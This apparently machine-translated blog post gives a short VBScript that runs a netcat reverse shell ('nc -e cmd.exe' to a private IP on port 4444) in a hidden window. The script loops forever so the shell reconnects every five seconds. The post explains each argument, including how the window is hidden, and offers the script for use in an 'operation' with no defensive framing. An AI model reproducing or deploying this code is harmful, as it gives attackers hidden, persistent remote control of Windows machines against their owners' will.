[Netcat] reconnection automatic reconnection

Today, I want to do the operation, but it is thought nc nc too lightweight so I did not find the cause of his reconnection function

• Then I think one of the windows artifact vbs script

vbs code is as follows

Dim a,b
set a= WScript.CreateObject("WScript.Shell")
do
    a.Run"nc -e cmd.exe 192.168.10.117 4444",0,true
    wscript.sleep 1000*5
loop

Explanation

a.Run"nc -e cmd.exe 192.168.10.117 4444",0,true

• Double quotes inside the command is executed without explanation
• 0 to hide the window
• true to blocking execution that is, waiting to exit and then perform nc
• So the behavior is performed first and then wait again link command nc wait five seconds before disconnecting links